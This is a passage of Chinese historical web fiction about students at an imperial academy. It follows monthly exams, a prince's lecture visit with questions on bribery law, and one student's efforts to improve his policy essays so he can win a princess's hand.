诸生列队恭候,绳愆厅的官吏上前检查服饰着装。国子监祭酒裴鸿主献,司业、监丞、博士、助教等官员分献芹、枣、栗三种祭品,各置豆内,上香献爵。行一礼后诸生去往博士厅听万绍庭讲学。 下午则是月初考试,仍是四书文一篇,五言八韵诗一篇,诗题为“王道荡荡”,语出《尚书》。 上一次的考试方叙墨仍是三等,这一次写题笔杆子都颤,卷一收便和同窗讨论,然后大大地卸下了一口气。 时文和试帖诗均未偏题。 他这幅劫后余生的样子令人发笑,段之缙宽慰他两句,又见他脸色凝重起来。 “这是怎么了?” 方叙墨扯住段之缙的手,“允升兄,四月大课的成绩下来了,你帮我去看吧。” 徐明宣和施秉文见还有这等好事,也托段之缙去看,方叙墨忧郁地望他们两眼,“晦之素来是一等,自己去看还不成吗?要不晦之兄替我去看,顺便帮章甫看着。” 徐明宣摇摇头:“大课出成绩,榜前定是人山人海,正因为我素来是一等,无上升空间才叫别人去看。若是二等,这次有进一等的可能性,那头一份的高兴定然要自己享用,也就不必叫旁人去看了。” 方叙墨讪笑一声,“照晦之兄的说法,我叫你们替我看,也是因为素来三等,没有上升空间。” “你可别冤枉我,断没这个意思。” 方叙墨本就是自嘲,现在扯住段之缙的袖子来回晃荡,又一头埋进去:“求你了允升,端午节后给你带宫里的粽子。” 段之缙哭笑不得,叫他们先去膳堂等候,自己去榜前看成绩。 那木牌前果然是摩肩擦踵,大家都急着往前走,成绩与膏火费息息相关,三等可就领不了银子了。也就是方叙墨这种家中不缺的才敢常驻三等。 段之绪不愿上前与人争抢,站在树下等着人群散去,肩膀被轻轻拍了一下,郑崑瑛的声音在身后响起:“允升,上次大课时你还未入学,怎么也来看榜?” 段之缙惊喜道:“好巧啊德润兄,我是替旁人看的。” 二人说了些闲话,木牌前众人终于散去,轮到这两人去看榜。 成绩按照六堂的顺序写在上边,段之缙习惯性地从上往下看,率性堂第一等第一个就是葛观澜。 再往下看就是修道堂,郑崑瑛列为一等。 下一个诚心堂,徐明宣果然是一等,施秉文列二等,方叙墨也不出所料地列为三等。 看完成绩大家一块去膳堂将结果告知伙伴,方叙墨挂着两个黑眼圈满脸“心志灰矣”,原先还透着粉的一张脸煞白,又吃不下饭了。 段之缙用公筷给他夹菜,“你发奋读书之时上次大课已过,成绩不好也是理所当然,何必为过去之事伤心呢?” 方叙墨怎能不伤心,幼时在宫廷中读书,先生都是当代大儒,结果自己不争气,三天打鱼两天晒网,每天最纠结的事情就是郡主何时下课,下课之后自己要和郡主玩什么。 端王在宫中二十五载,看着自己长到十多岁,平时的惫懒样王爷是深知的,甚至还劝过皇后要严加管束,不能坏了南书房的风气。 现在悔之晚矣。 段之缙真是愁死了,把龙井虾仁全倒入方叙墨碗中,“哎呀,你别这样,浪子回头金不换,你要给端王看看你改过自新的决心啊!吃了这盘龙井虾仁立刻回堂读书,万不能浪费一分一秒。” 方叙墨把虾仁往嘴里塞,含着泪咽下,把餐具收拾好又回到诚心堂读书,圣贤之道往脑子中灌的时候,心才平静下来。 五月初五端阳节,国子监放假一天,五月初四下午钟响即可回家。 这一堆人都是荫生,端阳节乾清宫大宴,君臣共乐,一品命妇也要向皇后请安,家中无管束之人,大家便想出来玩耍,谁知方叙墨却没那个时间。 “端阳节宫宴,本来祖父和父亲去即可,皇后娘娘却叫我进宫请安,只能抛下你们了。” 他闷闷不乐地垂着头,自己见着父亲就害怕,本来端阳宫宴能逃过一劫,结果连自己也要去,少不得要陪在父亲身边。 段之缙却笑道:“你怕什么?既然是皇后娘娘特命你进宫的,自然是要见你,说不得郡主也在身边呢。” 到底是少年怀春,一听到郡主,方叙墨就如三月里桃花开了一般,脸上带了甜蜜的笑,父亲那张冷峻的脸也被神采飞扬的郡主替代。 方叙墨有些不好意思地捶一拳段之缙,又高兴道:“你们等着,今年赏赐的粽子全拿给你们吃。” 然后哼着小曲上了方府的马车。 段之缙和施秉文、徐明宣等面面相觑,最终决定不背着方叙墨去玩了。 这个决定再正确不过,刚进家门坐在饭桌上,沈白蘋便说秦先生有吩咐,约段之缙广和居山水一程阁相见。 段之缙还在剥粽子,手上动作一顿,疑道:“是出什么事儿了吗?过节怎么还要见面,我本以为先生要和家人聚聚。” “想来是有事情要嘱咐你吧。家里包的粽子拿着些,还有咸鸭蛋也送些给先生。” 段之缙便提着东西去了广和居,也不知道是什么急事。 端午节当日风和日丽,街边全是卖纸鸢的小摊贩,燕子、老鹰和各种鸟雀花草,应有尽有,再望向广和居窗外,河边绿草如茵,垂髫小童拽着一根根麻线,连着的绢绸彩鸢飞在湛蓝的天上。 大人们守在一旁,又特意叫孩子张开嘴仰视纸鸢,以泄内热。 正靠窗赏景,身后一声轻咳,段之缙回身行礼问好,先生叫起,然后问起了国子监的事情。 “你在国子监还适应吗?” “同窗友爱,又有先生谆谆教诲,学生适应得很好。” 秦先生稍放下心,“今日过节,本该叫你和媳妇团聚一番,可此事也算是重要,想叫你提早准备。” “咱们陛下每年六月十五日都会驾临国子监,临雍讲学,今年身子不舒坦,一场小风寒拖了一个多月也不见好,叫端王替他去国子监。” 段之缙面露喜色,替陛下临雍讲学,难道说…… 秦行烟斗往他脑袋上一敲,“笑甚?誉王代陛下祭泰山,肃王将要替陛下祭祖了。” “陛下身子虽不太好,可心里清楚得很,不到最后一步不会点明,也不会放权。” 段之缙叹气,“那先生叫学生来是有何吩咐?” 秦行道:“是叫你在六月十五日好好表现。十三经并二十一史可以少下些功夫,叫先生或者郑崑瑛指导指导你的策,钱粮刑名水利一类尤其重要。” 段之缙若有所思,“可是会通过这次临雍讲学选官?” “这也说不准,此次讲学的结果会直达天听,是否要选官端王也不知。该说的我也跟你说了,要是没事儿就回去过节吧。” 段之缙眼帘微合,“先生,我听说灵寿郡主在选婿?” 秦行起身的动作一滞,“你如何知道的?” 段之缙将那日刘鉴山 之事说明,秦先生恍然大悟,讥诮道:“要说方叙墨还有二分可能,老葛家那个幼子却是绝无可能了。” 段之缙闻端王没有将方叙墨完全排除,松下一口气,可既然葛观澜无半分可能,为何要找刘鉴山来说闲话? “陛下早就许给了葛家一位宗室女,本来是誉王的三女,结果嘉宁郡主病殁了,葛礼叫葛观澜给未婚妻守了一年妻孝,又向陛下求娶灵寿郡主。” 段之缙心一沉,着急问道:“然后呢?” 只要当今活着,葛家就不会倒,也说不得陛下会不会赐婚。 “不论性子如何,葛观澜学识和骑射都是极好的,和郡主也算般配,可谁叫他父亲是葛礼,端王宁叫这个闺女在家中念佛也断不会叫她去葛家。” 秦先生给自己倒一杯茶,浅嘬一口接着道:“现在明眼人都看得出,葛家未必就不是现在的杨家,葛礼自己也明白得很,因而想要迎宗室女入门,起码保住一个葛观澜。端王到底心疼这个闺女,拉着皇后一起向陛下请旨,灵寿郡主的婚事便由端王自己做主了。” 这就更奇怪了,“既然这样疼爱郡主,把她许给喜欢人的岂不是正好?两情相悦总比盲婚哑嫁强。” 秦行绕着段之缙走两圈,把他盯得头皮发麻,烟斗又朝着脑袋上一敲,“叫你进国子监当‘红郎’的吗?怎么郡主喜欢方叙墨的事情也知道?” 段之缙讪笑:“方叙墨都有郡主赠与的荷包,哪能不喜欢啊……” 秦行冷哼一声,“你啊,和郡主一个样子!不养儿不知父母恩,端王一片苦心全成驴肝肺了。方叙墨如何喜欢郡主另说,可郡主喜欢方叙墨也不过是爱他的皮相,喜欢他陪自己玩。” 段之缙反驳道:“方叙墨还做得一手好菜,也没如今男子轻视女儿的劣性,他把郡主当神女待呢!这样的世道有这样的男子还不可贵吗?” “那又如何?没了方叙墨,做菜的厨子何其多,端王府还缺这个吗?一副臭皮囊早晚有破败的时候,再好吃的菜也有吃腻的一天。方叙墨得有旁的优点能叫郡主更喜欢,总不能郡主谈诗词歌赋他说红烧排骨,郡主言弓马骑射他说猪肉切段吧?女子又和男儿不一样,男儿腻了还能纳妾图新鲜,郡主再受宠爱也不能说换男人就换男人。” “我说句不好听的,郡主给他写情诗,方叙墨就一定能全然看懂吗?” 段之缙暗自腹诽,文渊弟就算再不受教,也不至于这般。 说到这,秦行叹一口气:“说到底,父母打算得再好,摸不清楚儿女的心思也是白费,灵寿郡主就敢从后院跑到前院里朝着王爷耍牛脾气。当时我还和王爷商量政事呢,灵寿也不叫人通报一声就推门而入,我连个躲的地方也没有。王爷已经松口了,只要方叙墨能长进些,他也不愿意做那打鸳鸯的大棒。” 这么一想,端王也够可怜,但是儿孙自有儿孙福,何必平白得女儿的埋怨。 就算日后闹得鸡飞狗跳了,也未必不能收拾。 秦行该说的都说完了,这几天满耳朵都是王爷的抱怨,早就烦透了,跟段之缙说:“我知道你是替那方叙墨问的,回去跟他说,若是还有两分志气就努力上进,好歹叫王爷放心,任谁家也不愿意把这么好的闺女给了文不成武不就的人啊。六月十五日,叫他也准备准备。” 段之缙叹一口气应下,心道幸好自己还未有子嗣,要不然真能把心都操碎了。 …… 端阳节假期只有一日,五月初六上午助教讲课,方叙墨却神思不定,挨了两下戒尺。一直到晚上读完书都心不在焉,带到国子监的粽子差点忘了分与同窗。 段之缙有“任务”在身,还要把六月十五端王替陛下临雍讲学一事告诉方叙墨,结果回了号舍方叙墨先提了此事。 “端王……端王六月十五日要替陛下临雍讲学。” 段之缙瞧他吓得唇也哆嗦,安慰道:“那不正好,叫端王也见识一番什么是士别三日,当刮目相看。” 方叙墨哭丧着脸,一天下来,手指甲都啃得坑坑洼洼,“你不知道,端王不会考教四书五经,他要问策,那一天大课也要考策问。” 段之缙瞠目结舌,本以为自己知道的已经够多了,没想到方叙墨知道的更多,连大课要考什么他都清楚,“你是怎么知道的?” 方叙墨披头散发地在炕前踱步,愁眉苦脸道:“郡主差人来说的。” “那你担心什么?端王知道你的斤两,难道会设想你能一日之内名震海内,成当代大儒?也不可能奢望你在一夜之间成什么能臣干吏,只要你有长进,这个事儿就成了啊!” 方叙墨摇摇头:“你想的太简单了。端王严于律己更严于律人,若不是文武双全的男孩儿他定然是看不上。” 段之缙哂笑,端王家里出了“内贼”,就是再严于律人也挡不住郡主宽以待方叙墨啊。 端王也只能顺着女儿,就看方叙墨能不能坚持下来了。 第50章 050临雍讲学 五月十五日,祭酒领国子监众官与诸生于孔庙行释奠大礼,其后博士于博士厅讲经,下午司业主持大课,仍为四书文一篇,五言八韵试帖诗一首。 六月初一日,上月大课成绩照常公布,段之缙列为二等,方叙墨虽苦学了一个月,但冰冻三尺非一日之寒,仍是列为三等。 方叙墨也非心性坚强之人,又难过地吃不下去饭回号舍痛哭,可擦干了眼泪想着不能叫郡主失望,仍披星戴月地读书,颇有前几年段之缙过县试的架势,也是许久没见过朝阳和夕阳了。 每日咬着牙学,一日日挨到了六月十五,这一日端王代圣上临雍讲学,正是方叙墨表现的机会。 十五日月望,又不是春秋仲月,按理说该行行香礼祭孔,可端王是代圣上巡视国子监,因而月望这天在端王的带领下,国子监众人再行释奠礼。 这一次比之上月更为隆重。 “咚咚咚……” 寅时三刻,国子监的鸱吻还被早晨的雾气笼罩着,大成门东侧的夔龙纹大鼓已经震响,乐生挥舞着双臂,一轻一重,锤击了三百六十下,待最后一声悠长的鼓韵散入薄雾,西侧景阳钟随即轰鸣,一百八十记钟声荡入在场诸人的耳朵,渐渐与心跳声合拍。 “孔氏希文、孟氏延礼、颜氏崇德、曾氏继道——”通赞官气沉丹田,嘹亮雄厚的声音回响整个孔庙,四位监生为首,身后国子监诸生自戟门鱼贯而入,腰间玉组佩叮当碰撞,又被钟声掩盖。 而孔庙中,上至端王下至学录俱已排列整齐。 端王的目光扫过山东四姓的后裔,回首看一眼通赞官,通赞官随机唱道:“启户!”各殿诸门便被拉开,执事生们先行清扫后瘗毛血,牺牲干净的毛发和血液被填入坎中,贡与先贤。 …… “维先师德配天地,道冠古今!” 《昭平之乐》起,端王带领百官行三跪九叩大礼,诸生跟在四姓身后行礼。 先祭至圣先师,后祭颜子、曾子、思子、孟子,献帛焚香,这场祭礼结束时朝霞已染红了大成殿的琉璃瓦,祭祀用的胙肉被分割赏赐给大臣和国子监学生。 怀揣着已经凉透了的肉,一行人移至辟雍,端王代圣上为国子监诸生讲学。 辟雍鎏金宝顶,覆黄色琉璃瓦,四角攒尖。圆水在外,方殿在内,象征着天圆地方。 祭酒大人带领国子监学生分布坐在东西南北四座石桥上,端王先拜正中皇帝御 座,于其下另设一椅作为讲学之座,远远眺过去,段之缙看见了邹文瘦削的身影跟在端王身边。 渐渐升高的太阳晒在桥上人的脸上,端王浑厚的声音从辟雍中传出,“本王代圣上临雍,观国子监内人才济济,不仅本王欣慰,想来圣心亦是开怀,可一想到还有讲学的重任,本王却有点高兴不起来了。” “讲什么呢?讲经释义有五经博士,论道辩难有六堂先生,本王讲学岂不是班门弄斧贻笑大方?日思夜想终得其解,身为朝廷超品的亲王,又领着刑部,本王能教的大概只有‘为官’一事了……” 酷热的太阳在天上暴晒,青衣襕衫下的里衣已经浸透了汗水,可大家仍是正襟危坐,至于听得了多少谁也不知道。 最后一句话落下,祭酒带着大家起身行礼,官员们带着功课和各类簿子进入辟雍供端王阅览,而后四姓后裔先后被叫进辟雍,其余人仍在原地等着。 外边无一个官员,这些人也没了管束,渐渐有了窸窸窣窣的说话声。 现在已经是晌午了,早已过了上午钟响时刻,段之缙连着两顿饭没有吃又行大礼祭孔,即便天上挂着炽热的日头,他的脸色亦是惨白的。 快要撑不住了…… 段之缙把怀里包好的胙肉拿出来,未经处理只是清水煮熟的肉带着畜生本身的腥味儿,活像是在猪圈里待着,将段之缙顶得想吐,犹豫了半天咬一口闭气嚼两下,仍是没忍住悄悄吐到了手帕上。 他的舌头在上颚刮蹭,猪肉的腥臊气仍残留在味蕾上,恍惚间也不知道方才是不是咬了活猪屁股。 就在这时,身旁的同窗小声提醒道:“别吐出来,闭着眼嚼两下就咽了。吐或者扔胙肉都是对先圣的大不敬,会被清出国子监的。” 段之缙自然知道,苦笑一声,隔着手帕将蒸烂的胙肉捏碎,然后一点点塞入口中,也不咀嚼,生生往下吞咽。周围扛不住的人也开始吃胙肉,大多囫囵吞枣,鲜有吃得津津有味的。 虽然不是米面一类,但到底也有些用处,起码肚子里不是空落落的,段之缙脸上也充盈了血色。 四姓的后裔从辟雍中走出,端王用过糕饼接着叫率性堂的学生进去。 连着问了四五个,无论是端王还是诸生都累乏,此次临雍讲学也该结束,端王正准备把祭酒叫进来,突然想起了秦先生,他还记得自己为秦行的学生求过国子监的学额,姓段,可叫什么来着? “邹文,秦行的学生入监学习了吗?” 邹文一愣,回道:“段之缙四月份入诚心堂学习。” 端王颔首,对跟在身边的祭酒裴鸿吩咐道:“叫他进来吧。” 已经结束和胙肉的战斗的段之缙便被传入辟雍,短短的一小段路程,段之缙擦了三四遍嘴,生怕油花粘在嘴角。 进入辟雍先行大礼,段之缙撩袍叩首,“学生给王爷请安。” 纪禅模模糊糊记得他的相貌,仍和几年前一样吩咐他抬首,像是比之前长大了些。 段之缙敛眉垂首挺身跪着,便听得上边端王问道:“十三经二十一史学完没有?” “回王爷的话,尚未学完,但学生已经读过十三经、二十一史了。” 端王挑着几个问了一些,答得中规中矩,有些地方好,有些地方的确能听出是学生自己的理解,还稚气得很。 端王又问:“平日里还读过什么书?” 段之缙并不避讳秦先生教过他的事实,反正纪禅都知道,答道:“学生未入国子监时,先生曾教育过学生要博览群书,因而上至圣贤教训,下至农书水利学生均有涉猎,只是读书太杂,不曾精通某一方面。” “你现在年纪尚小,未有定性也是常事。可曾读过律书?”端王想着秦行是刑部官员里的翘楚,不知他的学生是否也对刑名律令有天赋。 “读过几章《大雍律》。” 端王有些失望,随口问道:“州县官收受贿赂,价值不过纹银十两,应当如何处理?若此官素日清廉,又当如何议处?” 段之缙答题向来讲逻辑条理,喜欢一气呵成,组织起语言便易耗时,在端王看来就是讷讷不能言,更是大失所望,没了再问的心情。 正要叫他出去的时候,段之缙答道:“《刑律受脏》篇中将官员受脏分为官吏受财、坐赃致罪、事后受财、官吏听许财物、有事以财请求。但学生认为此例所干涉者仅为枉法赃与不枉法脏。” “一为枉法赃,若官员因为枉法事受财,则计赃科断。一两以下,杖七十;一两至五两,杖八十;十两,杖九十。州县长官受脏不过十两则仅为仗刑;二为不枉法脏,各主者折半科罪,一两至十两,杖七十……” 条理清楚,胸有成竹,还未等得段之缙说完,端王就催问:“若该州县长官素日清廉又当如何议处?” 段之缙答道:“若此官素日清廉,则可减罪,但具体如何还应当交由有司议处,并无定例。” 旁边的祭酒裴鸿跟着松下一口气,端王又问了几个问题,除极偏的几条之外,州县长官常经办的刑民案件无一不知,王爷啧啧称奇,和邹文私语道:“真是秦行的学生,现在放出去做个小知县也成,人家上了衙门不会判错案件。” 邹文笑道:“也是学生随了老师。” 只是叫人可惜,这一次仅是讲学不为选官,端王将桌子上剩的糕饼赐给段之缙,又提起兴致唤了两个学生进来问话,讲学便算结束,众人跪送王爷离开国子监。祭酒先将列队的众人带往膳堂这才叫散,学生乌泱泱进了膳堂,大家带着劫后余生的欢喜把冷掉的饭菜往嘴里塞,谁也没那个体力再去热饭。 可怜方叙墨又在胡思乱想了。 郡主叫他好生准备,这个可怜孩子苦熬着看钱粮水利和律令刑名,结果端王压根没问他,全当没方叙墨这个人。 越想越害怕,方叙墨心不在焉地吃饭,小白菜差点喂到鼻子里,被施秉文一把拉住,“你怎么了?” 方叙墨颤着嗓子道:“王爷没问我,是不是根本不想把郡主嫁给我,只是哄着郡主罢了?” 施秉文还当是什么事呢,假嗔他杞人忧天,“端王除了山东四姓的后裔,也就问了率性堂的几个人和诚心、修道二堂成绩极好的几个,肯定是按照课业来的啊。” 方叙墨一指段之缙,“那为何还问了允升兄?” 段之缙立刻放下筷子哀叹:“这真是事出有因。我之前就见过端王,荫生的学额还是端王为我求的,王爷早就认得我了,特意问问有什么奇怪?” 方叙墨更伤心,“王爷认得我更早,我还包着尿片子的时候他就认得我了……郡主还特意提醒了我,我都和郡主保证过,这次一定在王爷面前好好表现,结果王爷不理我……” 众人面面相觑,段之缙哄道:“郡主说的就一定对吗?”本想安慰方叙墨,谁知这个不领情的眉头一蹙斩钉截铁道:“郡主说的一定对!” 真是叫人无话可说,还是徐明宣说起了下午大课的事情,方叙墨才缓过来神。 国子监内的人担惊受怕,国子监外的马车上,邹文正给端王捏腿,低声问:“王爷觉得国子监内诸生如何?” 端王半阖着双眼,示意他再捶捶肩膀,“山东四姓的后裔好不好的也无用,左右都是回山东。率性堂进来的几个都不错,历练少些,以后去各部学习长点见识。段之缙到底才进国子监,圣贤书还得读呢,不过刑名一事上倒很有几分秦行的风采。其他的几个人各有长处,圣贤书也还得再读。” 邹文听他特意跳过了一人,偷着乐了一下,谁知端王从眼缝里看见了他的笑模样,疑道:“你乐什么?” 端王向来善待幕僚和府内属官,平时也无什么高高在上的架子,因而邹文也不害怕,含着笑问道:“王爷怎么把最重要的那个人忘了?” 端王的脸倏忽间黑成包公,先把灵寿郡主骂了一顿,最后很不情愿道:“拗不过她也只能随了她的愿。” 邹文又做笔帖式又干着贴心“小太监”的活,开解道:“王爷也看了方叙墨的夜读册,早出晚归,没有一天歇着,和原来比真是一个天上一个地下。虽不知他有多少长进,可是对咱们郡主的心也够真的了。” 端王看着他也烦,烦躁道:“难道本王不 知道?偏你在这儿多嘴多舌地劝……等着下个月初一本王问问裴鸿,要是这回儿方叙墨策论写的不好,本王就拿着他的卷子给百岁看,叫她自己说说,挑了一顿挑了个什么东西!” 百岁正是灵寿郡主的乳名,端王一边嗔骂人家,一边连大名也不舍得喊。 邹文这次在心里偷笑,刚讲完学就问祭酒方叙墨的情况,明明看了夜读册也有些满意了,偏偏这会儿一问又恼。 本来的事儿,谁还能盼望方叙墨一两个月成什么当代大儒吗?他只是惫懒又不是天生的痴傻,只要用功,有长进也是早晚的事儿,并不在于一朝一夕。郡主却已经十五岁,再不订婚便有些晚了,因而还是早早定下得好。至于出嫁,这倒是不着急了。 端王沉思一会儿,哼笑一声,吩咐道:“回去跟长史说,本王不在的时候管好王府的奴才,不准叫郡主给方家通风报信。就叫我那表侄先害怕着吧,省得赐婚后松懈下来。” 这也真够坏的,但是方叙墨着急关邹文何事?他此时疑虑道:“难保两位方大人不会和方叙墨说。再者赐婚圣旨,到底还得方叙墨接。” 端王呷一口清茶,“谁说非要先下旨了,先跟陛下说好,等着百岁长大些再赐婚。”【你现在阅读的是 】 50-60 第51章 051诚心堂,二等,方叙墨 下午季考大课,由祭酒裴鸿大人亲自主持,众生聚集于博士厅,待一声钟响,十六名助教大人分发卷纸,上书策一道,题为:江南连岁丰稔,然谷价骤贱,农夫售粮难以维持生计,官府何以济之? 又有五言八韵试帖诗一道,题为:“阴阴夏木啭黄鹂”。 策问,以考察“兵、刑、钱、谷”为重,兼以经史大难,素来用本省亟待解决的难题作为策问题目,令士子们临场发挥,给出自己的见解,无固定的文体格式,字数从六七百字到千字上下均可,并无定例。 新朝刚立的时候,各省策问多以“修前朝国史”为题,竟开“编年史”与“纪传体”之争,最后仍按照太史公的体例修史。 近几年江南风调雨顺,连年丰收,上至天子下至黎民本该欢欣雀跃,可满仓的粮食竟带来了新的问题——谷贱伤民。 粮商们压价购粮,平常一石米换银二两,折四匹粗棉布,现在两匹也换不得。 更可恨的是城中的商户,米价如此之贱,大量购粮后竟然先行囤积,每月卖粮数量一如往年,粮价丝毫不降,他们的打算大家心里也清楚得很,连着几年是丰年,但不可能永远是丰年,等着灾荒之时再出米,可谓是一本万利。 若要问米囤积时间太长,粮食放坏了怎么办? 笑话,若是出了灾荒,莫说是放坏了的米,就算树皮草根也能吃。 国子监出策题一向紧跟朝廷的动向,今日便以此为题考察诸生。 段之缙盯着题纸沉思,举动间衣袖蹭到了砚台,青衣瞬间吸上了墨汁,他连忙抢救,这才惊觉已经过了一刻钟,周围的同窗早已开始动笔,笔尖落在纸张上,仿若蚕食桑叶。 “江南连岁丰稔,然谷价骤贱……丰年反倒成灾了。”他无声默念。 既然谷多价贱,那就让谷子少起来,悬停的狼毫落于纸上,段之缙写道:“谷贱伤农,古以有之,解决此难之关键在于‘收粮’,今献收粮三法。” “其一,官仓收储。《管子国蓄》言‘岁适美,则市粜无予,而狗彘食人食。岁适凶,则市籴釜十繦,而道有饿民。然则岂壤力固不足而食固不赡也哉?夫往岁之粜贱,狗彘食人食,故来岁之民不足也。’地方的衙门可于丰年以略高于市价的价格向百姓收粮,填补常平仓……” “其二,疏通运销。江南漕粮定额可减三成,许粮商凭引贩米至辽河、宁西、山东等缺粮之所,免其商税。再令州县劝课桑麻,仿《农政全书》以末补本之术……” “其三,请暂改折色之例。可以往年粮价折算田赋,以粮充银,或缴布帛,征银降至三成。如此,则农人不急于粜米,谷价自平。” 写完这一道策,段之缙接着动笔写试帖诗,此题显而易见是咏物诗,也不必颂圣,段之缙略想一番挥笔成篇,虽不说多么高妙,起码中规中矩,也挑不出什么毛病。 停书、抬笔,因策论字数无要求而格式无定制,此次大课结束得极早,祭酒点卷之后便宣布下课,又提前放假叫大家回家,明日戌时之前回监。 学生们起身恭立,目送大人离开,然后三五成群结伴而行,出国子监的路上,俱是讨论此次策题的声音。 众人一对,这才发现几个人的题目竟不尽相同。 徐明宣道:“我的策题为‘河工连年耗费百万,然黄河屡治屡溃,何策可长治久安’,答‘筑堤束水,以水攻沙’之法,于上游广植柳林固土,下游开引河分洪,兼用木龙护堤。有人和我的题目一样吗?” 施秉文回:“我同你一样。不过除了治水之法,我还写了严查贪蠹、以工代赈和迁村避险。” 徐明宣一巴掌拍在自己的脑袋上,顿足扼腕,“真是痴了,怎么没想到这些东西……” “你忘了我父亲是吏部尚书了?我若是想不起这些才要出事呢!” 段之缙听他们七嘴八舌地说,郑崑瑛的题目为:“三川、宁西等地百族混居,屡生变乱,或剿或抚,何以定边疆、安民心”,他提出“先剿后抚”,诛首恶而宽宥从者的策略,主张慎重选官,以明悉当地风俗者为官,且要汉夷一视同仁,不能偏私等方略。 方叙墨的题目就有些偏了,竟然是岭南与外通商一事,题目为“岭南海禁虽开,然夷人多夹带违禁品、偷漏关税,何以兴利除弊”。 方叙墨以为自己的答案不甚好,可在大家看来却是甚好。 他先提出叫夷商自行聘用当地商人做保,当地商人先行查验,若是朝廷再发现漏税则实行连坐,而本地人则可以从外商那里获得酬劳。这样既减轻了朝廷搜查的负担,也能让当地的商人得到实惠,可谓一举两得。 二则简化税则,裁撤一切杂税,只征收单一的商税或关税,并设立专门衙门处理此事以杜绝吏员勒索。 段之缙惊喜万分,第一法不就是清代的“保商制度”吗?自乾隆年间实行,的确起到了一定的效用。第二法则更具现代色彩,尤其是简化税则,对于杜绝官员勒索和加强税收管理有妙用,因而对着方叙墨大夸特夸,把人家的脸臊得通红,捂着他的嘴叫他别说了。 段之缙笑道:“怎么不许说?我猜你这次的成绩定然极好,必不负郡主的期望。”几个小伙伴还在商讨此法,越说越觉得巧妙,方叙墨听他们都觉好,嘿嘿傻乐了起来,只觉天地旷大,万物可爱,可他也晓得不能高兴太早的道理,憋着内心的欢喜回家,直到七月初一日下成绩。 诚心堂,二等,方叙墨。 从未有过的欣喜冲击了这个三等常客,方叙墨抱着木栏嚎啕大哭,令众人侧目,人群渐渐围聚起来,直到有人跑去绳愆厅报告了监丞李文瀚,李文瀚赶来警告般地咳了一声,大家乌泱泱散去,只剩下方叙墨仍在原地抽抽嗒嗒,他的三个小伙伴束手无措。 李文瀚知道是怎么回事,这个万年三等突然窜上了二等,若不是试帖诗还不甚好,能不能做一等也难说,全国子监的大人都议论纷纷,甚至思考过作弊这种可能性。但此次策题一共有五道,都是随机分发的,身旁答题之人都不一定分得同一道题,谈何作弊呢? 他这段日子也的确是废寝忘食,或许尺有所短,寸有所长,方叙墨就是善于答策或对赋税一事格外灵慧。 这些都尚未可知。 夜深人静处吞下的泪终于浇灌出甘 甜的果实,即便七月初三日考的四书文仍被列为三等,方叙墨的兴奋劲儿也没有过去,尤其是阅卷博士特意来安慰他的时候。 博士语重心长,说他虽仍为三等,可比之几月前大有长进,劝他以“行百里者半九十”为诫,千万要坚持下去。 方叙墨尝到了读书的甜头,自然更加刻苦,诸生纷纷效仿,学风为之一正。 七月十五日中元节放假一日,十六日仍照常放假,因而本月大讲与大课均提至十四日,考完之后直接放假。 二等的欢喜在心里藏了近半月,方叙墨被放出牢笼也不想进马车,兴高采烈地走回家中。 路程不短,天又渐热,走回家时,方叙墨的里衣都汗湿了,额上冒着汗珠,亮晶晶的,进了家门第一件事就是回房换衣。 他贴身伺候的小子顺顺上来解衣扣,瞧见大爷身上的汗一层层,恼得骂接方叙墨的奴才,“真是不长眼的好小子,就叫大爷这么走回府?里衣都汗湿了,若是叫风袭了得伤寒怎么办?等会儿定要跟老太太告一状,好好紧紧他们的皮子。” 方叙墨叫他拿着湿帕子把身上擦一擦,换那件熏白胶香的月白色里衣,方巾也换成玉冠,自己要先去跟老太爷请安。 顺顺用温水打湿了帕子攥干,先给方叙墨擦身子,又给他换了里衣和外衫,还怕他身上的汗味没擦净,挂了两个香囊在腰上,把方叙墨收拾干净了才一块儿去老太爷的院子。 《千金要方》中说:“夜饭饱,损一日之寿。”老太爷和老太太年纪都大了,为保养身体晚饭都用素,且只吃八分饱,此时都已经撤了晚饭,但见方叙墨来了,又吩咐小厨房上一些肉糜,给小孩子用。 方叙墨素来吃饭香甜,现在又饥饿,一碗掺了些时蔬的肉糜也吃得香,两勺子填入口中。 吃完饭方叙墨犹犹豫豫又羞羞怯怯地看着祖父,反把这个朝廷里呼风唤雨的老一辈弄得不知如何是好。 他叫乖孙往自己身边凑,捏一捏少年人纤弱的脖颈,笑问:“这是怎么了?欲言又止的,又要求什么?” 方叙墨回头看一眼小杌子,顺顺麻利地把小杌子搬到老太太身边,方叙墨坐过去一脑袋靠在祖母膝上,手里牵着祖父方克城的手,身子摇来晃去,一副叫人先答应才肯说话的架势。 俗话说得好,小儿子大孙子,老人家的命根子。方叙墨这么一折腾,老太太直喊心肝肉,“好宝贝,你有话就说,你爷爷还能不答应吗?” 方叙墨握着老太爷的手,哼唧道:“我最近可上进了,每日都刻苦读书,上月大课列为二等,老太爷能不能跟端王说说?” 方克城一把甩开孙子的手,假嗔道:“好小子,怪不得今天这样乖觉,听说一回来就上这儿请安了,原来是无事不登三宝殿,想着用你爷爷了!” 爷孙两个一向如此,非要方叙墨撒娇卖痴做爷爷的才肯答应,还是老太太在一旁求情方克城才应下来,摸摸孙子有些薄的耳垂道:“都依了你,好好用功。现在天也晚了,叫你陪着两个老人家也没意思,把你父亲叫来我的书房,回去歇歇吧。” 方叙墨嗯了一声,不情不愿地退出去,两股战战地去找父亲。 假父子,真冤家,方觉每次见方叙墨都有一股不知打哪来的火气,今日见他蔫头耷脑,无一点年轻人朝气蓬勃的样子,呵斥道:“每日出这些鬼祟行径,生你不如生把稗草,稗草还能喂猪!今日又怎么了?!” 方叙墨跪在父亲桌前,磕磕巴巴地回话:“老太爷叫老爷去书房……” 方觉一听是父亲叫他,暂且放过了这个冤家,临出门见这孽障六神无主的鹌鹑样,又恼得给了他一脚,但也没踢实成。 方觉赶到父亲的书房,行礼问安,方克城招他来身边坐下,说起了方叙墨的婚事:“阿留年纪也不小了,端王家的灵寿郡主也年满十五,大概是能迎郡主入门了。我对你也没什么旁的要求,别再把阿留当小孩子教训,省得郡主当你摆公爹的威风。” 方觉伺候着父亲喝了一杯清水,对此却不抱什么希望:“就方叙墨这个样子,王爷怎么能看上他。” 方克城老谋深算,笑道:“中宫娘娘跟你娘嘱咐的,端王该是许了这桩婚事,从上月月初便不打听其他人家的男孩了,还特意问了阿留的事儿。” “这也不保准……” “怎么不保准?知子莫若母,端王才满月就抱到了娘娘身边养育,王爷张张嘴,娘娘便知他要讲什么话,断不会出错的。” 